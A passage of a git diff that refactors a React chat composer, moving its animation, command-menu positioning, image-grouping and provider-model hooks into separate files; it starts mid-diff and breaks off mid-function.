&& - previousPromptHeight !== null && - nextPromptRect.height - previousPromptHeight >= 0.5 - ) { - const hiddenHeight = nextPromptRect.height - previousPromptHeight; - stateChangeAnimations.push( - prompt.animate( - [ - { clipPath: `inset(0 0 ${String(hiddenHeight)}px 0)` }, - { clipPath: "inset(0 0 0 0)" }, - ], - { - duration, - easing: COMPOSER_RESTING_TRANSITION_EASING, - }, - ), - ); - } - - const arrivingControls = nextIsCollapsed - ? restingControlsRef.current - : element.querySelector('[data-chat-composer-controls="left"]'); - if (arrivingControls && !continuousControls) { - const drift = nextIsCollapsed - ? -COMPOSER_RESTING_CONTROLS_ARRIVAL_DRIFT_PX - : COMPOSER_RESTING_CONTROLS_ARRIVAL_DRIFT_PX; - stateChangeAnimations.push( - arrivingControls.animate( - [ - { opacity: 0, transform: `translateY(${String(drift)}px)` }, - { opacity: 1, transform: "none" }, - ], - { - duration: nextIsCollapsed ? duration : duration / 2, - delay: nextIsCollapsed ? 0 : duration / 2, - fill: "backwards", - easing: COMPOSER_RESTING_TRANSITION_EASING, - }, - ), - ); - } - - const arrivingImagePreviews = nextIsCollapsed - ? Array.from( - element.querySelectorAll('[data-chat-composer-resting-images="true"]'), - ) - : Array.from( - element.querySelectorAll('[data-chat-composer-expanded-image="true"]'), - ); - for (const imagePreview of arrivingImagePreviews) { - stateChangeAnimations.push( - imagePreview.animate([{ opacity: 0 }, { opacity: 1 }], { - duration: nextIsCollapsed ? duration : duration / 2, - delay: nextIsCollapsed ? 0 : duration / 2, - fill: "backwards", - easing: COMPOSER_RESTING_TRANSITION_EASING, - }), - ); - } - stateChangeAnimationsRef.current = stateChangeAnimations; - } - - const finishTransition = (cancelAnimations: boolean) => { - if (animationRef.current !== animation) return; - if (transitionCleanupTimeoutRef.current !== null) { - window.clearTimeout(transitionCleanupTimeoutRef.current); - transitionCleanupTimeoutRef.current = null; - } - if (cancelAnimations) { - animation.cancel(); - for (const contentAnimation of contentAnimationsRef.current) { - contentAnimation.cancel(); - } - for (const stateChangeAnimation of stateChangeAnimationsRef.current) { - stateChangeAnimation.cancel(); - } - } - animationRef.current = null; - animationTargetHeightRef.current = null; - contentAnimationsRef.current = []; - stateChangeAnimationsRef.current = []; - animation.cancel(); - stripAnimation?.cancel(); - clearTransitionStyles(); - }; - void animation.finished.catch(() => undefined).then(() => finishTransition(false)); - // A suspended document timeline can leave `finished` pending while - // these measurement styles remain active. Wall-clock cleanup makes - // the natural layout the eventual source of truth in that case. - transitionCleanupTimeoutRef.current = window.setTimeout( - () => finishTransition(true), - duration + COMPOSER_RESTING_TRANSITION_CLEANUP_BUFFER_MS, - ); - } else { - animationTargetHeightRef.current = null; - } - - previousCollapsedRef.current = nextIsCollapsed; - previousHeightRef.current = nextHeight; - previousModelStripHeightRef.current = nextModelStripHeight; - previousContentOffsetsRef.current = { - promptFromTop: nextPromptTop === null ? null : nextPromptTop - nextRect.top, - promptHeight: nextPromptRect?.height ?? null, - actionFromBottom: nextActionTop === null ? null : nextRect.bottom - nextActionTop, - controlsFromBottom: nextControlsTop === null ? null : nextRect.bottom - nextControlsTop, - controlsFromLeft: nextControlsRect === null ? null : nextControlsRect.left - nextRect.left, - surfaceBottomInset: overlayRect ? overlayRect.bottom - nextRect.bottom : null, - }; - }; - - useLayoutEffect(() => { - const requestId = transitionLayoutRequestRef.current + 1; - transitionLayoutRequestRef.current = requestId; - const stateChanged = previousCollapsedRef.current !== isCollapsed; - // A non-Git context strip enters or leaves flow through ChatView state in - // an earlier layout effect. Let React flush that parent update before the - // FLIP reads its destination geometry, while still running before paint. - queueMicrotask(() => { - if (transitionLayoutRequestRef.current !== requestId) return; - transitionToCurrentGeometry(stateChanged); - }); - return () => { - if (transitionLayoutRequestRef.current === requestId) { - transitionLayoutRequestRef.current += 1; - } - }; - }, [isCollapsed, transitionToCurrentGeometry]); - - useLayoutEffect(() => { - if (previousRestingRef.current === isResting) return; - previousRestingRef.current = isResting; - if (animationRef.current) return; - const overlay = elementRef.current?.closest('[data-chat-composer-overlay="true"]'); - if (overlay) onOverlayHeightChange(overlay.getBoundingClientRect().height); - }, [isResting, onOverlayHeightChange]); - - useLayoutEffect(() => { - const element = elementRef.current; - if (!element) return; - - const body = element.querySelector('[data-chat-composer-body="true"]'); - return observeResize(body ? [element, body] : element, (entries) => { - if (animationRef.current) { - if (body && entries.some((entry) => entry.target === body)) { - transitionToCurrentGeometry(false); - } - return; - } - const elementRect = element.getBoundingClientRect(); - const visibleTransitionElement = (selector: string) => - Array.from(element.querySelectorAll(selector)).find( - (candidate) => candidate.getClientRects().length > 0, - ) ?? null; - const promptRect = visibleTransitionElement( - '[data-composer-prompt-surface="true"], [data-chat-composer-transition-prompt="true"]', - )?.getBoundingClientRect(); - const actionTop = visibleTransitionElement( - '[data-chat-composer-transition-actions="true"]', - )?.getBoundingClientRect().top; - const controlsRect = ( - isCollapsedRef.current - ? restingControlsRef.current - : visibleTransitionElement('[data-chat-composer-controls="left"]') - )?.getBoundingClientRect(); - previousHeightRef.current = elementRect.height; - previousContentOffsetsRef.current = { - promptFromTop: promptRect === undefined ? null : promptRect.top - elementRect.top, - promptHeight: promptRect?.height ?? null, - actionFromBottom: actionTop === undefined ? null : elementRect.bottom - actionTop, - controlsFromBottom: - controlsRect === undefined ? null : elementRect.bottom - controlsRect.top, - controlsFromLeft: controlsRect === undefined ? null : controlsRect.left - elementRect.left, - surfaceBottomInset: - (element - .closest('[data-chat-composer-overlay="true"]') - ?.getBoundingClientRect().bottom ?? elementRect.bottom) - elementRect.bottom, - }; - }); - }, [restingControlsRef, transitionToCurrentGeometry]); - - useEffect(() => { - hasCompletedInitialLayoutRef.current = true; - return () => { - if (transitionCleanupTimeoutRef.current !== null) { - window.clearTimeout(transitionCleanupTimeoutRef.current); - transitionCleanupTimeoutRef.current = null; - } - animationRef.current?.cancel(); - animationRef.current = null; - animationTargetHeightRef.current = null; - for (const animation of contentAnimationsRef.current) animation.cancel(); - contentAnimationsRef.current = []; - for (const animation of stateChangeAnimationsRef.current) animation.cancel(); - stateChangeAnimationsRef.current = []; - clearTransitionStyles(); - }; - }, [clearTransitionStyles]); - - return elementRef; -} - -function composerCommandMenuPositionsEqual( - a: ComposerCommandMenuPosition, - b: ComposerCommandMenuPosition, -): boolean { - return ( - a.bottom === b.bottom && a.left === b.left && a.maxHeight === b.maxHeight && a.width === b.width - ); -} - -function ComposerCommandMenuLayer(props: { anchor: HTMLElement | null; children: ReactNode }) { - const [position, setPosition] = useState(null); - - useLayoutEffect(() => { - const anchor = props.anchor; - if (!anchor) return; - - const updatePosition = () => { - const form = anchor.closest('[data-chat-composer-form="true"]'); - const mainSurface = form?.querySelector( - '[data-chat-composer-main-surface="true"]', - ); - const rect = (mainSurface ?? form ?? anchor).getBoundingClientRect(); - const rootFontSizePx = - Number.parseFloat(window.getComputedStyle(document.documentElement).fontSize) || 16; - const drawerInsetRem = Number.parseFloat( - window.getComputedStyle(form ?? anchor).getPropertyValue("--chat-composer-drawer-inset"), - ); - const drawerInset = drawerInsetRem * rootFontSizePx; - const width = rect.width - drawerInset * 2; - if (width <= 0) { - setPosition(null); - return; - } - const composerOverlap = rootFontSizePx + 1; - const next = { - bottom: window.innerHeight - rect.top - composerOverlap, - left: rect.left + drawerInset, - maxHeight: Math.max(96, rect.top - 24 + composerOverlap), - width, - }; - setPosition((current) => - current && composerCommandMenuPositionsEqual(current, next) ? current : next, - ); - }; - - updatePosition(); - window.addEventListener("resize", updatePosition); - window.addEventListener("scroll", updatePosition, true); - - const observed: Element[] = [anchor]; - for (let element = anchor.parentElement; element; element = element.parentElement) { - observed.push(element); - } - const stopObserving = observeResize(observed, updatePosition); - - return () => { - stopObserving(); - window.removeEventListener("resize", updatePosition); - window.removeEventListener("scroll", updatePosition, true); - }; - }, [props.anchor]); - - if (!props.anchor || !position) return null; - - return createPortal( -
- {props.children} -
, - document.body, - ); -} import { toastManager } from "../ui/toast"; import { CircleAlertIcon, PlayIcon, ShieldIcon } from "lucide-react"; import { proposedPlanTitle } from "@t3tools/shared/proposedPlanText"; import { hasProviderSetup } from "./ProviderStatusBanner"; -import { - applyProviderInstanceSettings, - deriveProviderInstanceEntries, - NO_PROVIDER_MODEL_SELECTION, - sortProviderInstanceEntries, - type ProviderInstanceEntry, -} from "../../providerInstances"; import { type AppModelOption, getAppModelOptionsForInstance } from "../../modelSelection"; import type { UnifiedSettings } from "@t3tools/contracts/settings"; import { @@ -981,8 +350,6 @@ import { } from "@t3tools/client-runtime/state/composer-dispatch"; import type { ContextWindowSnapshot } from "../../lib/contextWindow"; import { - hasCompleteProviderWorkspaceSnapshot, - hasCurrentProviderWorkspaceSnapshot, resolveProviderSkillsForCwd, resolveProviderSlashCommandsForCwd, } from "@t3tools/client-runtime/providerSkills"; @@ -993,10 +360,13 @@ import { useStableCallback } from "../../hooks/useStableCallback"; import { usePanelAnimationSettings } from "../../panelAnimations"; import { useAtomCommand } from "../../state/use-atom-command"; import { readEnvironmentScope } from "../../state/session"; -import { serverEnvironment } from "../../state/server"; import type { ReviewCommentContext } from "../../reviewCommentContext"; - -const WORKSPACE_SNAPSHOT_RETRY_COOLDOWN_MS = 10_000; +import { useComposerRestingTransition } from "./useComposerRestingTransition"; +import { ComposerCommandMenuLayer } from "./ComposerCommandMenuLayer"; +import { useRestingComposerControlsLayout } from "./useRestingComposerControlsLayout"; +import { useProviderWorkspaceSnapshotRefresh } from "./useProviderWorkspaceSnapshotRefresh"; +import { useComposerProviderModel } from "./useComposerProviderModel"; +import { useComposerImageGroups } from "./useComposerImageGroups"; /** Reads and disarms a paste-as-text deadline: the shortcut applies to one paste only. */ function consumePasteAsTextShortcut(deadline: { current: number }): boolean { @@ -1025,83 +395,6 @@ const extendReplacementRangeForTrailingSpace = ( return text[rangeEnd] === " " ? rangeEnd + 1 : rangeEnd; }; -function useRestingComposerControlsLayout(host: HTMLDivElement | null, useControlsAsHost = false) { - const [controls, setControls] = useState(null); - const controlsRef = useRef(null); - const attachControls = (element: HTMLDivElement | null) => { - controlsRef.current = element; - setControls(element); - }; - const [layout, setLayout] = useState<{ - hiddenCount: number; - iconOnlyCount?: number; - visible: boolean; - }>({ hiddenCount: 0, visible: true }); - - const measure = () => { - const currentHost = useControlsAsHost ? controls : host; - if (currentHost === null || !controls) return; - - const measurement = measureRestingComposerControls(controls); - if (!measurement) return; - const style = getComputedStyle(currentHost); - const hostWidth = - currentHost.clientWidth - - (Number.parseFloat(style.paddingInlineStart) || 0) - - (Number.parseFloat(style.paddingInlineEnd) || 0); - - setLayout((current) => { - const next = resolveRestingComposerControlsLayout({ - ...measurement, - hostWidth, - previous: current, - }); - return next.hiddenCount === current.hiddenCount && - next.iconOnlyCount === current.iconOnlyCount && - next.visible === current.visible - ? current - : next; - }); - }; - - useLayoutEffect(() => { - const currentHost = useControlsAsHost ? controls : host; - if (!currentHost || !controls) return; - let stopObserving = () => {}; - const observeControls = () => { - stopObserving(); - stopObserving = observeResize( - [ - currentHost, - controls, - ...controls.querySelectorAll( - "[data-resting-block], [data-composer-control-label], [data-chat-provider-model-picker-label]", - ), - ], - measure, - ); - measure(); - }; - observeControls(); - const mutations = new MutationObserver(observeControls); - mutations.observe(controls, { childList: true, subtree: true, characterData: true }); - document.fonts.addEventListener("loadingdone", measure); - return () => { - stopObserving(); - mutations.disconnect(); - document.fonts.removeEventListener("loadingdone", measure); - }; - }, [host, controls, useControlsAsHost, measure]); - - return { - controlsRef, - attachControls, - hiddenBlockCount: layout.hiddenCount, - iconOnlyBlockCount: layout.iconOnlyCount ?? 0, - controlsVisible: layout.visible, - }; -} - const runtimeModeOptions = runtimeModes.map((mode) => ({ mode, ...runtimeModeConfig[mode] })); export interface ChatComposerHandle { @@ -1330,237 +623,6 @@ export interface ChatComposerProps { onFileOpen: (attachment: ChatFileAttachment) => void; } -/** - * Keeps the selected provider's workspace snapshot fresh for the composer's - * cwd. Returns a check to run when the user types. - */ -function useProviderWorkspaceSnapshotRefresh(input: { - readonly environmentId: EnvironmentId; - readonly gitCwd: string | null; - readonly selectedProviderEntry: ProviderInstanceEntry | undefined; - readonly selectedProviderStatus: ServerProvider | null; -}) { - const { environmentId, gitCwd, selectedProviderEntry, selectedProviderStatus } = input; - const refreshProviders = useAtomCommand(serverEnvironment.refreshProviders, { - reportFailure: false, - }); - // The last scan this composer asked for. A request inside the TTL is not - // repeated, so a client clock ahead of the server's cannot loop rescans. - const workspaceRefreshKeyRef = useRef<{ key: string; requestedAt: number } | null>(null); - const [workspaceRefreshRetry, setWorkspaceRefreshRetry] = useState<{ - key: string; - notBefore: number; - } | null>(null); - const workspaceRefreshScopeKey = - gitCwd && selectedProviderEntry - ? `${environmentId}:${selectedProviderEntry.instanceId}:${gitCwd}` - : null; - const workspaceSlashCommandsPending = - selectedProviderStatus?.workspaceSnapshots?.some( - (snapshot) => snapshot.cwd === gitCwd && snapshot.slashCommandsPending === true, - ) ?? false; - useEffect(() => { - if ( - !workspaceSlashCommandsPending || - !workspaceRefreshRetry || - workspaceRefreshRetry.key !== workspaceRefreshScopeKey - ) - return; - const timeout = setTimeout( - () => { - setWorkspaceRefreshRetry((current) => (current === workspaceRefreshRetry ? null : current)); - }, - Math.max(0, workspaceRefreshRetry.notBefore - Date.now()), - ); - return () => clearTimeout(timeout); - }, [workspaceRefreshRetry, workspaceRefreshScopeKey, workspaceSlashCommandsPending]); - // Losing a snapshot (the server dropped it) lifts both the TTL and the retry - // cooldown so the next check rescans at once. - const hasWorkspaceSnapshot = hasCompleteProviderWorkspaceSnapshot(selectedProviderStatus, gitCwd); - const [hadWorkspaceSnapshot, setHadWorkspaceSnapshot] = useState(hasWorkspaceSnapshot); - const [workspaceSnapshotLossCount, setWorkspaceSnapshotLossCount] = useState(0); - if (hadWorkspaceSnapshot !== hasWorkspaceSnapshot) { - setHadWorkspaceSnapshot(hasWorkspaceSnapshot); - if (!hasWorkspaceSnapshot) { - setWorkspaceSnapshotLossCount((count) => count + 1); - setWorkspaceRefreshRetry(null); - } - } - const lastWorkspaceSnapshotLossRef = useRef(workspaceSnapshotLossCount); - const refreshWorkspaceSnapshotIfStale = ( - now: number, - key: string | null, - retry: { key: string; notBefore: number } | null, - snapshotLossCount: number, - ) => { - if (lastWorkspaceSnapshotLossRef.current !== snapshotLossCount) { - lastWorkspaceSnapshotLossRef.current = snapshotLossCount; - workspaceRefreshKeyRef.current = null; - } - if (key === null || !gitCwd || !selectedProviderEntry) return; - const lastRequest = workspaceRefreshKeyRef.current; - if ( - lastRequest?.key === key && - now - lastRequest.requestedAt < PROVIDER_WORKSPACE_SNAPSHOT_TTL_MS - ) - return; - // A pending retry needs no clearing here: its cooldown lapses long before the TTL. - if (hasCurrentProviderWorkspaceSnapshot(selectedProviderStatus, gitCwd, now)) return; - if (retry?.key === key && now < retry.notBefore) return; - const request = { key, requestedAt: now }; - workspaceRefreshKeyRef.current = request; - const retryLater = () => { - if (workspaceRefreshKeyRef.current !== request) return; - workspaceRefreshKeyRef.current = null; - setWorkspaceRefreshRetry({ - key, - notBefore: Date.now() + WORKSPACE_SNAPSHOT_RETRY_COOLDOWN_MS, - }); - }; - void refreshProviders({ - environmentId, - input: { instanceId: selectedProviderEntry.instanceId, cwd: gitCwd }, - }).then((result) => { - const refreshedSnapshot = - result._tag === "Success" && - hasCompleteProviderWorkspaceSnapshot( - result.value.providers.find( - (provider) => provider.instanceId === selectedProviderEntry.instanceId, - ), - gitCwd, - ); - if (!refreshedSnapshot) retryLater(); - }, retryLater); - }; - const refreshWorkspaceSnapshotOnChange = useEffectEvent(refreshWorkspaceSnapshotIfStale); - useEffect(() => { - refreshWorkspaceSnapshotOnChange( - Date.now(), - workspaceRefreshScopeKey, - workspaceRefreshRetry, - workspaceSnapshotLossCount, - ); - }, [workspaceRefreshScopeKey, workspaceRefreshRetry, workspaceSnapshotLossCount]); - return useStableCallback(() => - refreshWorkspaceSnapshotIfStale( - Date.now(), - workspaceRefreshScopeKey, - workspaceRefreshRetry, - workspaceSnapshotLossCount, - ), - ); -} - -const NO_PROVIDER_MODELS: ServerProvider["models"] = []; - -/** - * The provider instances the composer offers, which one is selected, and the model and options - * the draft resolves to on it. The draft store is read first so every derivation follows the only - * hook here; in the composer body they would straddle its later hooks and lose their cache. - */ -function useComposerProviderModel( - input: Omit[0], "entries"> & { - readonly providerStatuses: ReadonlyArray; - readonly settings: UnifiedSettings; - readonly activeProjectId: ProjectId | null; - readonly threadRef: ScopedThreadRef | DraftId; - readonly threadModelSelection: ModelSelection | null | undefined; - readonly projectModelSelection: ModelSelection | null | undefined; - readonly promptInjectionState: ReturnType; - }, -) { - const { - providerStatuses, - settings, - activeProjectId, - threadRef, - threadModelSelection, - projectModelSelection, - promptInjectionState, - candidateInstanceIds, - lockedProvider, - lockedInstanceId, - } = input; - const draftModelState = useComposerDraftModelState(threadRef); - const providerInstanceEntries: ReadonlyArray = sortProviderInstanceEntries( - applyProviderInstanceSettings( - deriveProviderInstanceEntries(providerStatuses), - settings, - activeProjectId, - ), - ); - const selection = resolveComposerProviderSelection({ - entries: providerInstanceEntries, - candidateInstanceIds, - lockedProvider, - lockedInstanceId, - }); - const selectedInstanceId = - selection.selectedProviderEntry?.instanceId ?? NO_PROVIDER_MODEL_SELECTION.instanceId; - const selectedProvider: ProviderDriverKind = - selection.selectedProviderEntry?.driverKind ?? selection.requestedDriverKind; - const modelState = deriveEffectiveComposerModelState({ - draft: draftModelState, - providers: providerStatuses, - selectedProvider, - selectedInstanceId, - threadModelSelection, - projectModelSelection, - settings, - }); - const selectedProviderModels = selection.selectedProviderEntry?.models ?? NO_PROVIDER_MODELS; - const composerProviderState = getComposerProviderState({ - provider: selectedProvider, - model: modelState.selectedModel, - models: selectedProviderModels, - promptInjectionState, - modelOptions: modelState.modelOptions?.[selectedInstanceId], - planModeEnabled: settings.planModeEnabled, - }); - return { - providerInstanceEntries, - ...selection, - selectedInstanceId, - selectedProvider, - selectedProviderModels, - composerModelOptions: modelState.modelOptions, - selectedModel: modelState.selectedModel, - composerProviderState, - }; -} - -/** - * Follows the SnapShots still animating into this draft and splits the draft's images into - * pending SnapShots and standalone images. - */ -function useComposerImageGroups( - composerDraftTarget: ScopedThreadRef | DraftId, - composerImages: ReadonlyArray, - composerPreviewAnnotations: ReadonlyArray<{ readonly id: string }>, -) { - const pendingSnapShotAnimations = useSyncExternalStore( - subscribeToPendingSnapShotAnimations, - getPendingSnapShotAnimations, - getPendingSnapShotAnimations, - ); - const pendingSnapShotIds = pendingSnapShotAnimationIdsForTarget( - pendingSnapShotAnimations, - composerDraftTarget, - ); - const previewAnnotationIds = new Set( - composerPreviewAnnotations.map((annotation) => annotation.id), - ); - return { - pendingSnapShotAnimations, - pendingSnapShotIds, - pendingSnapShotIdSet: new Set(pendingSnapShotIds), - uncommittedSnapShotIds: pendingSnapShotIds.filter( - (id) => !composerImages.some((image) => image.id === id), - ), - standaloneComposerImages: composerImages.filter((image) => !previewAnnotationIds.has(image.id)), - }; -} - const NO_PROVIDER_SKILLS: ServerProvider["skills"] = []; const NO_PROVIDER_SLASH_COMMANDS: ServerProvider["slashCommands"] = []; diff --git a/apps/web/src/components/chat/ComposerCommandMenuLayer.tsx b/apps/web/src/components/chat/ComposerCommandMenuLayer.tsx new file mode 100644 index 000000000000..a449fc6a442a --- /dev/null +++ b/apps/web/src/components/chat/ComposerCommandMenuLayer.tsx @@ -0,0 +1,94 @@ +import { type ReactNode, useLayoutEffect, useState } from "react"; +import { createPortal } from "react-dom"; +import { observeResize } from "~/lib/observeResize"; + +type ComposerCommandMenuPosition = { + bottom: number; + left: number; + maxHeight: number; + width: number; +}; + +function composerCommandMenuPositionsEqual( + a: ComposerCommandMenuPosition, + b: ComposerCommandMenuPosition, +): boolean { + return ( + a.bottom === b.bottom && a.left === b.left && a.maxHeight === b.maxHeight && a.width === b.width + ); +} + +export function ComposerCommandMenuLayer(props: { + anchor: HTMLElement | null; + children: ReactNode; +}) { + const [position, setPosition] = useState(null); + + useLayoutEffect(() => { + const anchor = props.anchor; + if (!anchor) return; + + const updatePosition = () => { + const form = anchor.closest('[data-chat-composer-form="true"]'); + const mainSurface = form?.querySelector( + '[data-chat-composer-main-surface="true"]', + ); + const rect = (mainSurface ?? form ?? anchor).getBoundingClientRect(); + const rootFontSizePx = + Number.parseFloat(window.getComputedStyle(document.documentElement).fontSize) || 16; + const drawerInsetRem = Number.parseFloat( + window.getComputedStyle(form ?? anchor).getPropertyValue("--chat-composer-drawer-inset"), + ); + const drawerInset = drawerInsetRem * rootFontSizePx; + const width = rect.width - drawerInset * 2; + if (width <= 0) { + setPosition(null); + return; + } + const composerOverlap = rootFontSizePx + 1; + const next = { + bottom: window.innerHeight - rect.top - composerOverlap, + left: rect.left + drawerInset, + maxHeight: Math.max(96, rect.top - 24 + composerOverlap), + width, + }; + setPosition((current) => + current && composerCommandMenuPositionsEqual(current, next) ? current : next, + ); + }; + + updatePosition(); + window.addEventListener("resize", updatePosition); + window.addEventListener("scroll", updatePosition, true); + + const observed: Element[] = [anchor]; + for (let element = anchor.parentElement; element; element = element.parentElement) { + observed.push(element); + } + const stopObserving = observeResize(observed, updatePosition); + + return () => { + stopObserving(); + window.removeEventListener("resize", updatePosition); + window.removeEventListener("scroll", updatePosition, true); + }; + }, [props.anchor]); + + if (!props.anchor || !position) return null; + + return createPortal( +
+ {props.children} +
, + document.body, + ); +} diff --git a/apps/web/src/components/chat/useComposerImageGroups.ts b/apps/web/src/components/chat/useComposerImageGroups.ts new file mode 100644 index 000000000000..87342ae87f4f --- /dev/null +++ b/apps/web/src/components/chat/useComposerImageGroups.ts @@ -0,0 +1,40 @@ +import { type ComposerImageAttachment, type DraftId } from "../../composerDraftStore"; +import { type ScopedThreadRef } from "@t3tools/contracts"; +import { + getPendingSnapShotAnimations, + pendingSnapShotAnimationIdsForTarget, + subscribeToPendingSnapShotAnimations, +} from "../../lib/snapShotAnimation"; +import { useSyncExternalStore } from "react"; + +/** + * Follows the SnapShots still animating into this draft and splits the draft's images into + * pending SnapShots and standalone images. + */ +export function useComposerImageGroups( + composerDraftTarget: ScopedThreadRef | DraftId, + composerImages: ReadonlyArray, + composerPreviewAnnotations: ReadonlyArray<{ readonly id: string }>, +) { + const pendingSnapShotAnimations = useSyncExternalStore( + subscribeToPendingSnapShotAnimations, + getPendingSnapShotAnimations, + getPendingSnapShotAnimations, + ); + const pendingSnapShotIds = pendingSnapShotAnimationIdsForTarget( + pendingSnapShotAnimations, + composerDraftTarget, + ); + const previewAnnotationIds = new Set( + composerPreviewAnnotations.map((annotation) => annotation.id), + ); + return { + pendingSnapShotAnimations, + pendingSnapShotIds, + pendingSnapShotIdSet: new Set(pendingSnapShotIds), + uncommittedSnapShotIds: pendingSnapShotIds.filter( + (id) => !composerImages.some((image) => image.id === id), + ), + standaloneComposerImages: composerImages.filter((image) => !previewAnnotationIds.has(image.id)), + }; +} diff --git a/apps/web/src/components/chat/useComposerProviderModel.ts b/apps/web/src/components/chat/useComposerProviderModel.ts new file mode 100644 index 000000000000..24920d1593b4 --- /dev/null +++ b/apps/web/src/components/chat/useComposerProviderModel.ts @@ -0,0 +1,100 @@ +import { + type DraftId, + deriveEffectiveComposerModelState, + useComposerDraftModelState, +} from "../../composerDraftStore"; +import { + type ModelSelection, + type ProjectId, + ProviderDriverKind, + type ScopedThreadRef, + type ServerProvider, +} from "@t3tools/contracts"; +import { + NO_PROVIDER_MODEL_SELECTION, + type ProviderInstanceEntry, + applyProviderInstanceSettings, + deriveProviderInstanceEntries, + sortProviderInstanceEntries, +} from "../../providerInstances"; +import { type UnifiedSettings } from "@t3tools/contracts/settings"; +import { getComposerPromptInjectionState, getComposerProviderState } from "./composerProviderState"; +import { resolveComposerProviderSelection } from "../ChatView.logic"; + +const NO_PROVIDER_MODELS: ServerProvider["models"] = []; + +/** + * The provider instances the composer offers, which one is selected, and the model and options + * the draft resolves to on it. The draft store is read first so every derivation follows the only + * hook here; in the composer body they would straddle its later hooks and lose their cache. + */ +export function useComposerProviderModel( + input: Omit[0], "entries"> & { + readonly providerStatuses: ReadonlyArray; + readonly settings: UnifiedSettings; + readonly activeProjectId: ProjectId | null; + readonly threadRef: ScopedThreadRef | DraftId; + readonly threadModelSelection: ModelSelection | null | undefined; + readonly projectModelSelection: ModelSelection | null | undefined; + readonly promptInjectionState: ReturnType; + }, +) { + const { + providerStatuses, + settings, + activeProjectId, + threadRef, + threadModelSelection, + projectModelSelection, + promptInjectionState, + candidateInstanceIds, + lockedProvider, + lockedInstanceId, + } = input; + const draftModelState = useComposerDraftModelState(threadRef); + const providerInstanceEntries: ReadonlyArray = sortProviderInstanceEntries( + applyProviderInstanceSettings( + deriveProviderInstanceEntries(providerStatuses), + settings, + activeProjectId, + ), + ); + const selection = resolveComposerProviderSelection({ + entries: providerInstanceEntries, + candidateInstanceIds, + lockedProvider, + lockedInstanceId, + }); + const selectedInstanceId = + selection.selectedProviderEntry?.instanceId ?? NO_PROVIDER_MODEL_SELECTION.instanceId; + const selectedProvider: ProviderDriverKind = + selection.selectedProviderEntry?.driverKind ?? selection.requestedDriverKind; + const modelState = deriveEffectiveComposerModelState({ + draft: draftModelState, + providers: providerStatuses, + selectedProvider, + selectedInstanceId, + threadModelSelection, + projectModelSelection, + settings, + }); + const selectedProviderModels = selection.selectedProviderEntry?.models ?? NO_PROVIDER_MODELS; + const composerProviderState = getComposerProviderState({ + provider: selectedProvider, + model: modelState.selectedModel, + models: selectedProviderModels, + promptInjectionState, + modelOptions: modelState.modelOptions?.[selectedInstanceId], + planModeEnabled: settings.planModeEnabled, + }); + return { + providerInstanceEntries, + ...selection, + selectedInstanceId, + selectedProvider, + selectedProviderModels, + composerModelOptions: modelState.modelOptions, + selectedModel: modelState.selectedModel, + composerProviderState, + }; +} diff --git a/apps/web/src/components/chat/useComposerRestingTransition.ts b/apps/web/src/components/chat/useComposerRestingTransition.ts new file mode 100644 index 000000000000..64b18b677801 --- /dev/null +++ b/apps/web/src/components/chat/useComposerRestingTransition.ts @@ -0,0 +1,526 @@ +import { observeResize } from "~/lib/observeResize"; +import { shouldAnimateComposerRestingTransition } from "../composerFooterLayout"; +import { useEffect, useLayoutEffect, useRef } from "react"; + +const COMPOSER_RESTING_TRANSITION_CLEANUP_BUFFER_MS = 50; +const COMPOSER_RESTING_TRANSITION_EASING = "cubic-bezier(0.32, 0.72, 0, 1)"; +const COMPOSER_RESTING_CONTROLS_ARRIVAL_DRIFT_PX = 4; + +export function useComposerRestingTransition( + isCollapsed: boolean, + isResting: boolean, + restingControlsRef: React.RefObject, + onOverlayHeightChange: (height: number) => void, + animationsActive: boolean, + animationDurationMs: number, +) { + const elementRef = useRef(null); + const isCollapsedRef = useRef(isCollapsed); + const previousCollapsedRef = useRef(isCollapsed); + const previousRestingRef = useRef(isResting); + const previousHeightRef = useRef(null); + const previousModelStripHeightRef = useRef(null); + const previousContentOffsetsRef = useRef<{ + promptFromTop: number | null; + promptHeight: number | null; + actionFromBottom: number | null; + controlsFromBottom: number | null; + controlsFromLeft: number | null; + surfaceBottomInset: number | null; + }>({ + promptFromTop: null, + promptHeight: null, + actionFromBottom: null, + controlsFromBottom: null, + controlsFromLeft: null, + surfaceBottomInset: null, + }); + const animationRef = useRef(null); + const animationTargetHeightRef = useRef(null); + const contentAnimationsRef = useRef([]); + const stateChangeAnimationsRef = useRef([]); + const pinnedOverlayRef = useRef(null); + const transitionCleanupTimeoutRef = useRef(null); + const transitionLayoutRequestRef = useRef(0); + const hasCompletedInitialLayoutRef = useRef(false); + + const clearOverlayPin = () => { + // The overlay belongs to the chat view and outlives this composer, so it + // is remembered from pin time rather than re-resolved through a ref that + // React may already have detached during unmount. + const overlay = pinnedOverlayRef.current; + pinnedOverlayRef.current = null; + overlay?.style.removeProperty("height"); + overlay?.style.removeProperty("display"); + overlay?.style.removeProperty("flex-direction"); + overlay?.style.removeProperty("justify-content"); + }; + + const clearTransitionStyles = () => { + const element = elementRef.current; + const footer = element?.querySelector('[data-chat-composer-footer="true"]'); + element?.style.removeProperty("overflow"); + element?.style.removeProperty("clip-path"); + element?.style.removeProperty("overflow-clip-margin"); + element + ?.querySelector('[data-chat-composer-surface="true"]') + ?.style.removeProperty("height"); + footer?.style.removeProperty("position"); + footer?.style.removeProperty("top"); + footer?.style.removeProperty("bottom"); + footer?.style.removeProperty("left"); + footer?.style.removeProperty("right"); + footer?.style.removeProperty("height"); + const shell = element?.closest('[data-slot="composer-shell"]'); + shell?.removeAttribute("data-model-strip-transition"); + const modelStrip = shell?.querySelector('[data-composer-model-strip="true"]'); + for (const property of [ + "position", + "top", + "visibility", + "height", + "min-height", + "padding-top", + "align-items", + "z-index", + "pointer-events", + ]) { + modelStrip?.style.removeProperty(property); + } + clearOverlayPin(); + }; + + useLayoutEffect(() => { + isCollapsedRef.current = isCollapsed; + }); + + const transitionToCurrentGeometry = (stateChanged: boolean) => { + const element = elementRef.current; + const surface = element?.querySelector('[data-chat-composer-surface="true"]'); + if (!element || !surface) return; + + const nextIsCollapsed = isCollapsedRef.current; + + const visibleTransitionElement = (selector: string) => + Array.from(element.querySelectorAll(selector)).find( + (candidate) => candidate.getClientRects().length > 0, + ) ?? null; + const prompt = visibleTransitionElement( + '[data-composer-prompt-surface="true"], [data-chat-composer-transition-prompt="true"]', + ); + const action = visibleTransitionElement('[data-chat-composer-transition-actions="true"]'); + const footer = element.querySelector('[data-chat-composer-footer="true"]'); + const continuousControls = + element.dataset.inlineRestingControls === "true" || element.dataset.modelOnlyStrip === "true"; + const controls = nextIsCollapsed + ? restingControlsRef.current + : element.querySelector('[data-chat-composer-controls="left"]'); + + const shell = 